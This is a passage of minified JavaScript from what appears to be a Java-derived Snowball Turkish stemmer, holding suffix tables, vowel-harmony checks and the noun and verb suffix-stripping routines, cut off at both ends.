c.a_17,c.a_17=[new m(c.morphologyData.a_17.SuffixNiz,-1,-1,"",c.methodObject),new m(c.morphologyData.a_17.SuffixNuz,-1,-1,"",c.methodObject),new m(c.morphologyData.a_17.SuffixNuzDieresis,-1,-1,"",c.methodObject),new m(c.morphologyData.a_17.SuffixNizUndotted,-1,-1,"",c.methodObject)]}static get a_18(){return delete c.a_18,c.a_18=[new m(c.morphologyData.a_18.SuffixDir,-1,-1,"",c.methodObject),new m(c.morphologyData.a_18.SuffixTir,-1,-1,"",c.methodObject),new m(c.morphologyData.a_18.SuffixDur,-1,-1,"",c.methodObject),new m(c.morphologyData.a_18.SuffixTur,-1,-1,"",c.methodObject),new m(c.morphologyData.a_18.SuffixDurDieresis,-1,-1,"",c.methodObject),new m(c.morphologyData.a_18.SuffixTurDieresis,-1,-1,"",c.methodObject),new m(c.morphologyData.a_18.SuffixDirUndotted,-1,-1,"",c.methodObject),new m(c.morphologyData.a_18.SuffixTirUndotted,-1,-1,"",c.methodObject)]}static get a_19(){return delete c.a_19,c.a_19=[new m(c.morphologyData.a_19.SuffixCasinaUndotted,-1,-1,"",c.methodObject),new m(c.morphologyData.a_19.SuffixCesine,-1,-1,"",c.methodObject)]}static get a_20(){return delete c.a_20,c.a_20=[new m(c.morphologyData.a_20.SuffixDi,-1,-1,"",c.methodObject),new m(c.morphologyData.a_20.SuffixTi,-1,-1,"",c.methodObject),new m(c.morphologyData.a_20.SuffixDik,-1,-1,"",c.methodObject),new m(c.morphologyData.a_20.SuffixTik,-1,-1,"",c.methodObject),new m(c.morphologyData.a_20.SuffixDuk,-1,-1,"",c.methodObject),new m(c.morphologyData.a_20.SuffixTuk,-1,-1,"",c.methodObject),new m(c.morphologyData.a_20.SuffixDukDieresis,-1,-1,"",c.methodObject),new m(c.morphologyData.a_20.SuffixTukDieresis,-1,-1,"",c.methodObject),new m(c.morphologyData.a_20.SuffixDikUndotted,-1,-1,"",c.methodObject),new m(c.morphologyData.a_20.SuffixTikUndotted,-1,-1,"",c.methodObject),new m(c.morphologyData.a_20.SuffixDim,-1,-1,"",c.methodObject),new m(c.morphologyData.a_20.SuffixTim,-1,-1,"",c.methodObject),new m(c.morphologyData.a_20.SuffixDum,-1,-1,"",c.methodObject),new m(c.morphologyData.a_20.SuffixTum,-1,-1,"",c.methodObject),new m(c.morphologyData.a_20.SuffixDumDieresis,-1,-1,"",c.methodObject),new m(c.morphologyData.a_20.SuffixTumDieresis,-1,-1,"",c.methodObject),new m(c.morphologyData.a_20.SuffixDimUndotted,-1,-1,"",c.methodObject),new m(c.morphologyData.a_20.SuffixTimUndotted,-1,-1,"",c.methodObject),new m(c.morphologyData.a_20.SuffixDin,-1,-1,"",c.methodObject),new m(c.morphologyData.a_20.SuffixTin,-1,-1,"",c.methodObject),new m(c.morphologyData.a_20.SuffixDun,-1,-1,"",c.methodObject),new m(c.morphologyData.a_20.SuffixTun,-1,-1,"",c.methodObject),new m(c.morphologyData.a_20.SuffixDunDieresis,-1,-1,"",c.methodObject),new m(c.morphologyData.a_20.SuffixTunDieresis,-1,-1,"",c.methodObject),new m(c.morphologyData.a_20.SuffixDinUndotted,-1,-1,"",c.methodObject),new m(c.morphologyData.a_20.SuffixTinUndotted,-1,-1,"",c.methodObject),new m(c.morphologyData.a_20.SuffixDu,-1,-1,"",c.methodObject),new m(c.morphologyData.a_20.SuffixTu,-1,-1,"",c.methodObject),new m(c.morphologyData.a_20.SuffixDuDieresis,-1,-1,"",c.methodObject),new m(c.morphologyData.a_20.SuffixTuDieresis,-1,-1,"",c.methodObject),new m(c.morphologyData.a_20.SuffixDiUndotted,-1,-1,"",c.methodObject),new m(c.morphologyData.a_20.SuffixTiUndotted,-1,-1,"",c.methodObject)]}static get a_21(){return delete c.a_21,c.a_21=[new m(c.morphologyData.a_21.SuffixSa,-1,-1,"",c.methodObject),new m(c.morphologyData.a_21.SuffixSe,-1,-1,"",c.methodObject),new m(c.morphologyData.a_21.SuffixSak,-1,-1,"",c.methodObject),new m(c.morphologyData.a_21.SuffixSek,-1,-1,"",c.methodObject),new m(c.morphologyData.a_21.SuffixSam,-1,-1,"",c.methodObject),new m(c.morphologyData.a_21.SuffixSem,-1,-1,"",c.methodObject),new m(c.morphologyData.a_21.SuffixSan,-1,-1,"",c.methodObject),new m(c.morphologyData.a_21.SuffixSen,-1,-1,"",c.methodObject)]}static get a_22(){return delete c.a_22,c.a_22=[new m(c.morphologyData.a_22.SuffixMisCedilla,-1,-1,"",c.methodObject),new m(c.morphologyData.a_22.SuffixMusCedilla,-1,-1,"",c.methodObject),new m(c.morphologyData.a_22.SuffixMusDieresisCedilla,-1,-1,"",c.methodObject),new m(c.morphologyData.a_22.SuffixMisUndottedCedilla,-1,-1,"",c.methodObject)]}static get a_23(){return delete c.a_23,c.a_23=[new m(c.morphologyData.a_23.SuffixB,-1,1,"",c.methodObject),new m(c.morphologyData.a_23.SuffixC,-1,2,"",c.methodObject),new m(c.morphologyData.a_23.SuffixD,-1,3,"",c.methodObject),new m(c.morphologyData.a_23.SuffixGSoft,-1,4,"",c.methodObject)]}static get g_vowel(){return delete c.g_vowel,c.g_vowel=[17,65,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,8,0,0,0,0,0,0,1]}static get g_U(){return delete c.g_U,c.g_U=[1,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,0,0,0,0,0,0,1]}static get g_vowel1(){return delete c.g_vowel1,c.g_vowel1=[1,64,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1]}static get g_vowel2(){return delete c.g_vowel2,c.g_vowel2=[17,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,130]}static get g_vowel3(){return delete c.g_vowel3,c.g_vowel3=[1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1]}static get g_vowel4(){return delete c.g_vowel4,c.g_vowel4=[17]}static get g_vowel5(){return delete c.g_vowel5,c.g_vowel5=[65]}static get g_vowel6(){return delete c.g_vowel6,c.g_vowel6=[65]}get B_continue_stemming_noun_suffixes(){return Object.prototype.hasOwnProperty.call(this,"_$esjava$B_continue_stemming_noun_suffixes")?this._$esjava$B_continue_stemming_noun_suffixes:this._$esjava$B_continue_stemming_noun_suffixes=!1}set B_continue_stemming_noun_suffixes(i){this._$esjava$B_continue_stemming_noun_suffixes=i}get I_strlen(){return Object.prototype.hasOwnProperty.call(this,"_$esjava$I_strlen")?this._$esjava$I_strlen:this._$esjava$I_strlen=0}set I_strlen(i){this._$esjava$I_strlen=i}r_check_vowel_harmony$esjava$0(){let i,e,r,a,s,t,n,h,o,l,u;i=this.limit-this.cursor;i:for(;;){e=this.limit-this.cursor;e:do{if(!this.in_grouping_b$esjava$3(c.g_vowel,97,305))break e;this.cursor=this.limit-e;break i}while(0);if(this.cursor=this.limit-e,this.cursor<=this.limit_backward)return!1;this.cursor--}i:do{r=this.limit-this.cursor;e:do{if(!this.eq_s_b$esjava$2(1,"a"))break e;r:for(;;){a=this.limit-this.cursor;a:do{if(!this.in_grouping_b$esjava$3(c.g_vowel1,97,305))break a;this.cursor=this.limit-a;break r}while(0);if(this.cursor=this.limit-a,this.cursor<=this.limit_backward)break e;this.cursor--}break i}while(0);this.cursor=this.limit-r;e:do{if(!this.eq_s_b$esjava$2(1,"e"))break e;r:for(;;){s=this.limit-this.cursor;a:do{if(!this.in_grouping_b$esjava$3(c.g_vowel2,101,252))break a;this.cursor=this.limit-s;break r}while(0);if(this.cursor=this.limit-s,this.cursor<=this.limit_backward)break e;this.cursor--}break i}while(0);this.cursor=this.limit-r;e:do{if(!this.eq_s_b$esjava$2(1,"ı"))break e;r:for(;;){t=this.limit-this.cursor;a:do{if(!this.in_grouping_b$esjava$3(c.g_vowel3,97,305))break a;this.cursor=this.limit-t;break r}while(0);if(this.cursor=this.limit-t,this.cursor<=this.limit_backward)break e;this.cursor--}break i}while(0);this.cursor=this.limit-r;e:do{if(!this.eq_s_b$esjava$2(1,"i"))break e;r:for(;;){n=this.limit-this.cursor;a:do{if(!this.in_grouping_b$esjava$3(c.g_vowel4,101,105))break a;this.cursor=this.limit-n;break r}while(0);if(this.cursor=this.limit-n,this.cursor<=this.limit_backward)break e;this.cursor--}break i}while(0);this.cursor=this.limit-r;e:do{if(!this.eq_s_b$esjava$2(1,"o"))break e;r:for(;;){h=this.limit-this.cursor;a:do{if(!this.in_grouping_b$esjava$3(c.g_vowel5,111,117))break a;this.cursor=this.limit-h;break r}while(0);if(this.cursor=this.limit-h,this.cursor<=this.limit_backward)break e;this.cursor--}break i}while(0);this.cursor=this.limit-r;e:do{if(!this.eq_s_b$esjava$2(1,"ö"))break e;r:for(;;){o=this.limit-this.cursor;a:do{if(!this.in_grouping_b$esjava$3(c.g_vowel6,246,252))break a;this.cursor=this.limit-o;break r}while(0);if(this.cursor=this.limit-o,this.cursor<=this.limit_backward)break e;this.cursor--}break i}while(0);this.cursor=this.limit-r;e:do{if(!this.eq_s_b$esjava$2(1,"u"))break e;r:for(;;){l=this.limit-this.cursor;a:do{if(!this.in_grouping_b$esjava$3(c.g_vowel5,111,117))break a;this.cursor=this.limit-l;break r}while(0);if(this.cursor=this.limit-l,this.cursor<=this.limit_backward)break e;this.cursor--}break i}while(0);if(this.cursor=this.limit-r,!this.eq_s_b$esjava$2(1,"ü"))return!1;e:for(;;){u=this.limit-this.cursor;r:do{if(!this.in_grouping_b$esjava$3(c.g_vowel6,246,252))break r;this.cursor=this.limit-u;break e}while(0);if(this.cursor=this.limit-u,this.cursor<=this.limit_backward)return!1;this.cursor--}}while(0);return this.cursor=this.limit-i,!0}r_mark_suffix_with_optional_n_consonant$esjava$0(){let i,e,r,a,s,t,n;i:do{i=this.limit-this.cursor;e:do{if(e=this.limit-this.cursor,!this.eq_s_b$esjava$2(1,"n"))break e;if(this.cursor=this.limit-e,this.cursor<=this.limit_backward)break e;if(this.cursor--,r=this.limit-this.cursor,!this.in_grouping_b$esjava$3(c.g_vowel,97,305))break e;this.cursor=this.limit-r;break i}while(0);this.cursor=this.limit-i,a=this.limit-this.cursor;e:do{if(s=this.limit-this.cursor,!this.eq_s_b$esjava$2(1,"n"))break e;return this.cursor=this.limit-s,!1}while(0);if(this.cursor=this.limit-a,t=this.limit-this.cursor,this.cursor<=this.limit_backward)return!1;if(this.cursor--,n=this.limit-this.cursor,!this.in_grouping_b$esjava$3(c.g_vowel,97,305))return!1;this.cursor=this.limit-n,this.cursor=this.limit-t}while(0);return!0}r_mark_suffix_with_optional_s_consonant$esjava$0(){let i,e,r,a,s,t,n;i:do{i=this.limit-this.cursor;e:do{if(e=this.limit-this.cursor,!this.eq_s_b$esjava$2(1,"s"))break e;if(this.cursor=this.limit-e,this.cursor<=this.limit_backward)break e;if(this.cursor--,r=this.limit-this.cursor,!this.in_grouping_b$esjava$3(c.g_vowel,97,305))break e;this.cursor=this.limit-r;break i}while(0);this.cursor=this.limit-i,a=this.limit-this.cursor;e:do{if(s=this.limit-this.cursor,!this.eq_s_b$esjava$2(1,"s"))break e;return this.cursor=this.limit-s,!1}while(0);if(this.cursor=this.limit-a,t=this.limit-this.cursor,this.cursor<=this.limit_backward)return!1;if(this.cursor--,n=this.limit-this.cursor,!this.in_grouping_b$esjava$3(c.g_vowel,97,305))return!1;this.cursor=this.limit-n,this.cursor=this.limit-t}while(0);return!0}r_mark_suffix_with_optional_y_consonant$esjava$0(){let i,e,r,a,s,t,n;i:do{i=this.limit-this.cursor;e:do{if(e=this.limit-this.cursor,!this.eq_s_b$esjava$2(1,"y"))break e;if(this.cursor=this.limit-e,this.cursor<=this.limit_backward)break e;if(this.cursor--,r=this.limit-this.cursor,!this.in_grouping_b$esjava$3(c.g_vowel,97,305))break e;this.cursor=this.limit-r;break i}while(0);this.cursor=this.limit-i,a=this.limit-this.cursor;e:do{if(s=this.limit-this.cursor,!this.eq_s_b$esjava$2(1,"y"))break e;return this.cursor=this.limit-s,!1}while(0);if(this.cursor=this.limit-a,t=this.limit-this.cursor,this.cursor<=this.limit_backward)return!1;if(this.cursor--,n=this.limit-this.cursor,!this.in_grouping_b$esjava$3(c.g_vowel,97,305))return!1;this.cursor=this.limit-n,this.cursor=this.limit-t}while(0);return!0}r_mark_suffix_with_optional_U_vowel$esjava$0(){let i,e,r,a,s,t,n;i:do{i=this.limit-this.cursor;e:do{if(e=this.limit-this.cursor,!this.in_grouping_b$esjava$3(c.g_U,105,305))break e;if(this.cursor=this.limit-e,this.cursor<=this.limit_backward)break e;if(this.cursor--,r=this.limit-this.cursor,!this.out_grouping_b$esjava$3(c.g_vowel,97,305))break e;this.cursor=this.limit-r;break i}while(0);this.cursor=this.limit-i,a=this.limit-this.cursor;e:do{if(s=this.limit-this.cursor,!this.in_grouping_b$esjava$3(c.g_U,105,305))break e;return this.cursor=this.limit-s,!1}while(0);if(this.cursor=this.limit-a,t=this.limit-this.cursor,this.cursor<=this.limit_backward)return!1;if(this.cursor--,n=this.limit-this.cursor,!this.out_grouping_b$esjava$3(c.g_vowel,97,305))return!1;this.cursor=this.limit-n,this.cursor=this.limit-t}while(0);return!0}r_mark_possessives$esjava$0(){return 0!==this.find_among_b$esjava$2(c.a_0,10)&&!!this.r_mark_suffix_with_optional_U_vowel$esjava$0()}r_mark_sU$esjava$0(){return!!this.r_check_vowel_harmony$esjava$0()&&!!this.in_grouping_b$esjava$3(c.g_U,105,305)&&!!this.r_mark_suffix_with_optional_s_consonant$esjava$0()}r_mark_lArI$esjava$0(){return 0!==this.find_among_b$esjava$2(c.a_1,2)}r_mark_yU$esjava$0(){return!!this.r_check_vowel_harmony$esjava$0()&&!!this.in_grouping_b$esjava$3(c.g_U,105,305)&&!!this.r_mark_suffix_with_optional_y_consonant$esjava$0()}r_mark_nU$esjava$0(){return!!this.r_check_vowel_harmony$esjava$0()&&0!==this.find_among_b$esjava$2(c.a_2,4)}r_mark_nUn$esjava$0(){return!!this.r_check_vowel_harmony$esjava$0()&&0!==this.find_among_b$esjava$2(c.a_3,4)&&!!this.r_mark_suffix_with_optional_n_consonant$esjava$0()}r_mark_yA$esjava$0(){return!!this.r_check_vowel_harmony$esjava$0()&&0!==this.find_among_b$esjava$2(c.a_4,2)&&!!this.r_mark_suffix_with_optional_y_consonant$esjava$0()}r_mark_nA$esjava$0(){return!!this.r_check_vowel_harmony$esjava$0()&&0!==this.find_among_b$esjava$2(c.a_5,2)}r_mark_DA$esjava$0(){return!!this.r_check_vowel_harmony$esjava$0()&&0!==this.find_among_b$esjava$2(c.a_6,4)}r_mark_ndA$esjava$0(){return!!this.r_check_vowel_harmony$esjava$0()&&0!==this.find_among_b$esjava$2(c.a_7,2)}r_mark_DAn$esjava$0(){return!!this.r_check_vowel_harmony$esjava$0()&&0!==this.find_among_b$esjava$2(c.a_8,4)}r_mark_ndAn$esjava$0(){return!!this.r_check_vowel_harmony$esjava$0()&&0!==this.find_among_b$esjava$2(c.a_9,2)}r_mark_ylA$esjava$0(){return!!this.r_check_vowel_harmony$esjava$0()&&0!==this.find_among_b$esjava$2(c.a_10,2)&&!!this.r_mark_suffix_with_optional_y_consonant$esjava$0()}r_mark_ki$esjava$0(){return!!this.eq_s_b$esjava$2(2,"ki")}r_mark_ncA$esjava$0(){return!!this.r_check_vowel_harmony$esjava$0()&&0!==this.find_among_b$esjava$2(c.a_11,2)&&!!this.r_mark_suffix_with_optional_n_consonant$esjava$0()}r_mark_yUm$esjava$0(){return!!this.r_check_vowel_harmony$esjava$0()&&0!==this.find_among_b$esjava$2(c.a_12,4)&&!!this.r_mark_suffix_with_optional_y_consonant$esjava$0()}r_mark_sUn$esjava$0(){return!!this.r_check_vowel_harmony$esjava$0()&&0!==this.find_among_b$esjava$2(c.a_13,4)}r_mark_yUz$esjava$0(){return!!this.r_check_vowel_harmony$esjava$0()&&0!==this.find_among_b$esjava$2(c.a_14,4)&&!!this.r_mark_suffix_with_optional_y_consonant$esjava$0()}r_mark_sUnUz$esjava$0(){return 0!==this.find_among_b$esjava$2(c.a_15,4)}r_mark_lAr$esjava$0(){return!!this.r_check_vowel_harmony$esjava$0()&&0!==this.find_among_b$esjava$2(c.a_16,2)}r_mark_nUz$esjava$0(){return!!this.r_check_vowel_harmony$esjava$0()&&0!==this.find_among_b$esjava$2(c.a_17,4)}r_mark_DUr$esjava$0(){return!!this.r_check_vowel_harmony$esjava$0()&&0!==this.find_among_b$esjava$2(c.a_18,8)}r_mark_cAsInA$esjava$0(){return 0!==this.find_among_b$esjava$2(c.a_19,2)}r_mark_yDU$esjava$0(){return!!this.r_check_vowel_harmony$esjava$0()&&0!==this.find_among_b$esjava$2(c.a_20,32)&&!!this.r_mark_suffix_with_optional_y_consonant$esjava$0()}r_mark_ysA$esjava$0(){return 0!==this.find_among_b$esjava$2(c.a_21,8)&&!!this.r_mark_suffix_with_optional_y_consonant$esjava$0()}r_mark_ymUs_$esjava$0(){return!!this.r_check_vowel_harmony$esjava$0()&&0!==this.find_among_b$esjava$2(c.a_22,4)&&!!this.r_mark_suffix_with_optional_y_consonant$esjava$0()}r_mark_yken$esjava$0(){return!!this.eq_s_b$esjava$2(3,"ken")&&!!this.r_mark_suffix_with_optional_y_consonant$esjava$0()}r_stem_nominal_verb_suffixes$esjava$0(){let i,e,r,a,s,t,n,h,o,l;this.ket=this.cursor,this.B_continue_stemming_noun_suffixes=!0;i:do{i=this.limit-this.cursor;e:do{r:do{e=this.limit-this.cursor;a:do{if(!this.r_mark_ymUs_$esjava$0())break a;break r}while(0);this.cursor=this.limit-e;a:do{if(!this.r_mark_yDU$esjava$0())break a;break r}while(0);this.cursor=this.limit-e;a:do{if(!this.r_mark_ysA$esjava$0())break a;break r}while(0);if(this.cursor=this.limit-e,!this.r_mark_yken$esjava$0())break e}while(0);break i}while(0);this.cursor=this.limit-i;e:do{if(!this.r_mark_cAsInA$esjava$0())break e;r:do{r=this.limit-this.cursor;a:do{if(!this.r_mark_sUnUz$esjava$0())break a;break r}while(0);this.cursor=this.limit-r;a:do{if(!this.r_mark_lAr$esjava$0())break a;break r}while(0);this.cursor=this.limit-r;a:do{if(!this.r_mark_yUm$esjava$0())break a;break r}while(0);this.cursor=this.limit-r;a:do{if(!this.r_mark_sUn$esjava$0())break a;break r}while(0);this.cursor=this.limit-r;a:do{if(!this.r_mark_yUz$esjava$0())break a;break r}while(0);this.cursor=this.limit-r}while(0);if(!this.r_mark_ymUs_$esjava$0())break e;break i}while(0);this.cursor=this.limit-i;e:do{if(!this.r_mark_lAr$esjava$0())break e;this.bra=this.cursor,this.slice_del$esjava$0(),a=this.limit-this.cursor;r:do{this.ket=this.cursor;a:do{s=this.limit-this.cursor;s:do{if(!this.r_mark_DUr$esjava$0())break s;break a}while(0);this.cursor=this.limit-s;s:do{if(!this.r_mark_yDU$esjava$0())break s;break a}while(0);this.cursor=this.limit-s;s:do{if(!this.r_mark_ysA$esjava$0())break s;break a}while(0);if(this.cursor=this.limit-s,!this.r_mark_ymUs_$esjava$0()){this.cursor=this.limit-a;break r}}while(0)}while(0);this.B_continue_stemming_noun_suffixes=!1;break i}while(0);this.cursor=this.limit-i;e:do{if(!this.r_mark_nUz$esjava$0())break e;r:do{t=this.limit-this.cursor;a:do{if(!this.r_mark_yDU$esjava$0())break a;break r}while(0);if(this.cursor=this.limit-t,!this.r_mark_ysA$esjava$0())break e}while(0);break i}while(0);this.cursor=this.limit-i;e:do{r:do{n=this.limit-this.cursor;a:do{if(!this.r_mark_sUnUz$esjava$0())break a;break r}while(0);this.cursor=this.limit-n;a:do{if(!this.r_mark_yUz$esjava$0())break a;break r}while(0);this.cursor=this.limit-n;a:do{if(!this.r_mark_sUn$esjava$0())break a;break r}while(0);if(this.cursor=this.limit-n,!this.r_mark_yUm$esjava$0())break e}while(0);this.bra=this.cursor,this.slice_del$esjava$0(),h=this.limit-this.cursor;r:do{if(this.ket=this.cursor,!this.r_mark_ymUs_$esjava$0()){this.cursor=this.limit-h;break r}}while(0);break i}while(0);if(this.cursor=this.limit-i,!this.r_mark_DUr$esjava$0())return!1;this.bra=this.cursor,this.slice_del$esjava$0(),o=this.limit-this.cursor;e:do{this.ket=this.cursor;r:do{l=this.limit-this.cursor;a:do{if(!this.r_mark_sUnUz$esjava$0())break a;break r}while(0);this.cursor=this.limit-l;a:do{if(!this.r_mark_lAr$esjava$0())break a;break r}while(0);this.cursor=this.limit-l;a:do{if(!this.r_mark_yUm$esjava$0())break a;break r}while(0);this.cursor=this.limit-l;a:do{if(!this.r_mark_sUn$esjava$0())break a;break r}while(0);this.cursor=this.limit-l;a:do{if(!this.r_mark_yUz$esjava$0())break a;break r}while(0);this.cursor=this.limit-l}while(0);if(!this.r_mark_ymUs_$esjava$0()){this.cursor=this.limit-o;break e}}while(0)}while(0);return this.bra=this.cursor,this.slice_del$esjava$0(),!0}r_stem_suffix_chain_before_ki$esjava$0(){let i,e,r,a,s,t,n,h,o,l,u;if(this.ket=this.cursor,!this.r_mark_ki$esjava$0())return!1;i:do{i=this.limit-this.cursor;e:do{if(!this.r_mark_DA$esjava$0())break e;this.bra=this.cursor,this.slice_del$esjava$0(),e=this.limit-this.cursor;r:do{this.ket=this.cursor;a:do{r=this.limit-this.cursor;s:do{if(!this.r_mark_lAr$esjava$0())break s;this.bra=this.cursor,this.slice_del$esjava$0(),a=this.limit-this.cursor;t:do{if(!this.r_stem_suffix_chain_before_ki$esjava$0()){this.cursor=this.limit-a;break t}}while(0);break a}while(0);if(this.cursor=this.limit-r,!this.r_mark_possessives$esjava$0()){this.cursor=this.limit-e;break r}this.bra=this.cursor,this.slice_del$esjava$0(),s=this.limit-this.cursor;s:do{if(this.ket=this.cursor,!this.r_mark_lAr$esjava$0()){this.cursor=this.limit-s;break s}if(this.bra=this.cursor,this.slice_del$esjava$0(),!this.r_stem_suffix_chain_before_ki$esjava$0()){this.cursor=this.limit-s;break s}}while(0)}while(0)}while(0);break i}while(0);this.cursor=this.limit-i;e:do{if(!this.r_mark_nUn$esjava$0())break e;this.bra=this.cursor,this.slice_del$esjava$0(),t=this.limit-this.cursor;r:do{this.ket=this.cursor;a:do{n=this.limit-this.cursor;s:do{if(!this.r_mark_lArI$esjava$0())break s;this.bra=this.cursor,this.slice_del$esjava$0();break a}while(0);this.cursor=this.limit-n;s:do{this.ket=this.cursor;t:do{h=this.limit-this.cursor;n:do{if(!this.r_mark_possessives$esjava$0())break n;break t}while(0);if(this.cursor=this.limit-h,!this.r_mark_sU$esjava$0())break s}while(0);this.bra=this.cursor,this.slice_del$esjava$0(),o=this.limit-this.cursor;t:do{if(this.ket=this.cursor,!this.r_mark_lAr$esjava$0()){this.cursor=this.limit-o;break t}if(this.bra=this.cursor,this.slice_del$esjava$0(),!this.r_stem_suffix_chain_before_ki$esjava$0()){this.cursor=this.limit-o;break t}}while(0);break a}while(0);if(this.cursor=this.limit-n,!this.r_stem_suffix_chain_before_ki$esjava$0()){this.cursor=this.limit-t;break r}}while(0)}while(0);break i}while(0);if(this.cursor=this.limit-i,!this.r_mark_ndA$esjava$0())return!1;e:do{l=this.limit-this.cursor;r:do{if(!this.r_mark_lArI$esjava$0())break r;this.bra=this.cursor,this.slice_del$esjava$0();break e}while(0);this.cursor=this.limit-l;r:do{if(!this.r_mark_sU$esjava$0())break r;this.bra=this.cursor,this.slice_del$esjava$0(),u=this.limit-this.cursor;a:do{if(this.ket=this.cursor,!this.r_mark_lAr$esjava$0()){this.cursor=this.limit-u;break a}if(this.bra=this.cursor,this.slice_del$esjava$0(),!this.r_stem_suffix_chain_before_ki$esjava$0()){this.cursor=this.limit-u;break a}}while(0);break e}while(0);if(this.cursor=this.limit-l,!this.r_stem_suffix_chain_before_ki$esjava$0())return!1}while(0)}while(0);return!0}r_stem_noun_suffixes$esjava$0(){let i,e,r,a,s,t,n,h,o,l,u,m,_,k,c,d,b,$,f,y,g,j,v,w,p,z,D;i:do{i=this.limit-this.cursor;e:do{if(this.ket=this.cursor,!this.r_mark_lAr$esjava$0())break e;this.bra=this.cursor,this.slice_del$esjava$0(),e=this.limit-this.cursor;r:do{if(!this.r_stem_suffix_chain_before_ki$esjava$0()){this.cursor=this.limit-e;break r}}while(0);break i}while(0);this.cursor=this.limit-i;e:do{if(this.ket=this.cursor,!this.r_mark_ncA$esjava$0())break e;this.bra=this.cursor,this.slice_del$esjava$0(),r=this.limit-this.cursor;r:do{a:do{a=this.limit-this.cursor;s:do{if(this.ket=this.cursor,!this.r_mark_lArI$esjava$0())break s;this.bra=this.cursor,this.slice_del$esjava$0();break a}while(0);this.cursor=this.limit-a;s:do{this.ket=this.cursor;t:do{s=this.limit-this.cursor;n:do{if(!this.r_mark_possessives$esjava$0())break n;break t}while(0);if(this.cursor=this.limit-s,!this.r_mark_sU$esjava$0())break s}while(0);this.bra=this.cursor,this.slice_del$esjava$0(),t=this.limit-this.cursor;t:do{if(this.ket=this.cursor,!this.r_mark_lAr$esjava$0()){this.cursor=this.limit-t;break t}if(this.bra=this.cursor,this.slice_del$esjava$0(),!this.r_stem_suffix_chain_before_ki$esjava$0()){this.cursor=this.limit-t;break t}}while(0);break a}while(0);if(this.cursor=this.limit-a,this.ket=this.cursor,!this.r_mark_lAr$esjava$0()){this.cursor=this.limit-r;break r}if(this.bra=this.cursor,this.slice_del$esjava$0(),!this.r_stem_suffix_chain_before_ki$esjava$0()){this.cursor=this.limit-r;break r}}while(0)}while(0);break i}while(0);this.cursor=this.limit-i;e:do{this.ket=this.cursor;r:do{n=this.limit-this.cursor;a:do{if(!this.r_mark_ndA$esjava$0())break a;break r}while(0);if(this.cursor=this.limit-n,!this.r_mark_nA$esjava$0())break e}while(0);r:do{h=this.limit-this.cursor;a:do{if(!this.r_mark_lArI$esjava$0())break a;this.bra=this.cursor,this.slice_del$esjava$0();break r}while(0);this.cursor=this.limit-h;a:do{if(!this.r_mark_sU$esjava$0())break a;this.bra=this.cursor,this.slice_del$esjava$0(),o=this.limit-this.cursor;s:do{if(this.ket=this.cursor,!this.r_mark_lAr$esjava$0()){this.cursor=this.limit-o;break s}if(this.bra=this.cursor,this.slice_del$esjava$0(),!this.r_stem_suffix_chain_before_ki$esjava$0()){this.cursor=this.limit-o;break s}}while(0);break r}while(0);if(this.cursor=this.limit-h,!this.r_stem_suffix_chain_before_ki$esjava$0())break e}while(0);break i}while(0);this.cursor=this.limit-i;e:do{this.ket=this.cursor;r:do{l=this.limit-this.cursor;a:do{if(!this.r_mark_ndAn$esjava$0())break a;break r}while(0);if(this.cursor=this.limit-l,!this.r_mark_nU$esjava$0())break e}while(0);r:do{u=this.limit-this.cursor;a:do{if(!this.r_mark_sU$esjava$0())break a;this.bra=this.cursor,this.slice_del$esjava$0(),m=this.limit-this.cursor;s:do{if(this.ket=this.cursor,!this.r_mark_lAr$esjava$0()){this.cursor=this.limit-m;break s}if(this.bra=this.cursor,this.slice_del$esjava$0(),!this.r_stem_suffix_chain_before_ki$esjava$0()){this.cursor=this.limit-m;break s}}while(0);break r}while(0);if(this.cursor=this.limit-u,!this.r_mark_lArI$esjava$0())break e}while(0);break i}while(0);this.cursor=this.limit-i;e:do{if(this.ket=this.cursor,!this.r_mark_DAn$esjava$0())break e;this.bra=this.cursor,this.slice_del$esjava$0(),_=this.limit-this.cursor;r:do{this.ket=this.cursor;a:do{k=this.limit-this.cursor;s:do{if(!this.r_mark_possessives$esjava$0())break s;this.bra=this.cursor,this.slice_del$esjava$0(),c=this.limit-this.cursor;t:do{if(this.ket=this.cursor,!this.r_mark_lAr$esjava$0()){this.cursor=this.limit-c;break t}if(this.bra=this.cursor,this.slice_del$esjava$0(),!this.r_stem_suffix_chain_before_ki$esjava$0()){this.cursor=this.limit-c;break t}}while(0);break a}while(0);this.cursor=this.limit-k;s:do{if(!this.r_mark_lAr$esjava$0())break s;this.bra=this.cursor,this.slice_del$esjava$0(),d=this.limit-this.cursor;t:do{if(!this.r_stem_suffix_chain_before_ki$esjava$0()){this.cursor=this.limit-d;break t}}while(0);break a}while(0);if(this.cursor=this.limit-k,!this.r_stem_suffix_chain_before_ki$esjava$0()){this.cursor=this.limit-_;break r}}while(0)}while(0);break i}while(0);this.cursor=this.limit-i;e:do{this.ket=this.cursor;r:do{b=this.limit-this.cursor;a:do{if(!this.r_mark_nUn$esjava$0())break a;break r}while(0);if(this.cursor=this.limit-b,!this.r_mark_ylA$esjava$0())break e}while(0);this.bra=this.cursor,this.slice_del$esjava$0(),$=this.limit-this.cursor;r:do{a:do{f=this.limit-this.cursor;s:do{if(this.ket=this.cursor,!this.r_mark_lAr$esjava$0())break s;if(this.bra=this.cursor,this.slice_del$esjava$0(),!this.r_stem_suffix_chain_before_ki$esjava$0())break s;break a}while(0);this.cursor=this.limit-f;s:do{this.ket=this.cursor;t:do{y=this.limit-this.cursor;n:do{if(!this.r_mark_possessives$esjava$0())break n;break t}while(0);if(this.cursor=this.limit-y,!this.r_mark_sU$esjava$0())break s}while(0);this.bra=this.cursor,this.slice_del$esjava$0(),g=this.limit-this.cursor;t:do{if(this.ket=this.cursor,!this.r_mark_lAr$esjava$0()){this.cursor=this.limit-g;break t}if(this.bra=this.cursor,this.slice_del$esjava$0(),!this.r_stem_suffix_chain_before_ki$esjava$0()){this.cursor=this.limit-g;break t}}while(0);break a}while(0);if(this.cursor=this.limit-f,!this.r_stem_suffix_chain_before_ki$esjava$0()){this.cursor=this.limit-$;break r}}while(0)}while(0);break i}while(0);this.cursor=this.limit-i;e:do{if(this.ket=this.cursor,!this.r_mark_lArI$esjava$0())break e;this.bra=this.cursor,this.slice_del$esjava$0();break 